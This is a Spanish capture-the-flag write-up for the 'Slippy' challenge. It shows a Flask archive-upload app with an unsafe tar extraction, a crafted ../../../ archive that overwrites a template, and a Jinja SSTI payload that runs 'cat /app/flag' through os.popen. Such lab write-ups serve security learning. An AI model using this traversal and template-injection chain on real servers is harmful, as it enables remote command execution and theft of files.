Slippy
2 minutos de lectura
Tenemos un simple back-end que permite subir un archivo .tar.gz
. Como tenemos un archivo Dockerfile
, vamos a utilizar un contenedor de Docker en local:
Análisis del código fuente
En el código fuente vemos que se trata de una aplicación sencilla en Flask (Python):
@api.route('/unslippy', methods=['POST'])
def cache():
if 'file' not in request.files:
return abort(400)
extraction = extract_from_archive(request.files['file'])
if extraction:
return {'list': extraction}, 200
return '', 204
El archivo se descomprime y se escribe el /tmp
:
import tarfile, tempfile, os
from application import main
generate = lambda x: os.urandom(x).hex()
def extract_from_archive(file):
tmp = tempfile.gettempdir()
path = os.path.join(tmp, file.filename)
file.save(path)
if tarfile.is_tarfile(path):
tar = tarfile.open(path, 'r:gz')
tar.extractall(tmp)
extractdir = f'{main.app.config["UPLOAD_FOLDER"]}/{generate(15)}'
os.makedirs(extractdir, exist_ok=True)
extracted_filenames = []
for tarinfo in tar:
name = tarinfo.name
if tarinfo.isreg():
filename = f'{extractdir}/{name}'
os.rename(os.path.join(tmp, name), filename)
extracted_filenames.append(filename)
continue
os.makedirs(f'{extractdir}/{name}', exist_ok=True)
tar.close()
return extracted_filenames
return False
Zip Slip
Como el reto se llama Slippy
, uno puede pensar en Zip Slip, pero en archivos .tar.gz
. Esto consiste en comprimir un archivo que contenga una navegación de directorios, de forma que al extraerlo, se realiza la navegación de directorios y el archivo se guarda en otro directorio.
Vamos a crear la siguiente estructura de directorios:
$ tree asdf
asdf
├── app
│ ├── application
│ │ └── templates
│ │ └── index.html
│ └── flag
└── asdf
└── asdf
└── asdf
└── firmware.tar.gz
6 directories, 3 files
La idea es ir a asdf/asdf/asdf/asdf
y crear un archivo firmware.tar.gz
que contenga ../../../app/application/templates/index.html
:
$ tar -czf firmware.tar.gz ../../../app/application/templates/index.html
Esta ruta puede ser descibierta si accedemos al contenedor o si miramos el Dockerfile
:
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY challenge .
La idea es sobrescribir index.html
, por lo que vamos a poner un mensaje sencillo para ver si funciona. Después comprimimos el archivo como antes. Finalmente, subimos el archivo y refrescamos la página:
SSTI
Perfecto, podemos escribir archivos. Ahora, para conseguir la flag (que está almacenada en un archivo), podemos utilizar Server-Side Template Injection (SSTI), ya que se está utilizando Flask.
Por ejemplo, podemos poner este payload en index.html
:
{{ cycler.__init__.__globals__.os.popen('cat /app/flag').read() }}
Después de comprimir el archivo, subirlo y refrescar la página vemos:
Flag
Perfecto. Ahora vamos a subir el archivo firmware.tar.gz
a la instancia en línea: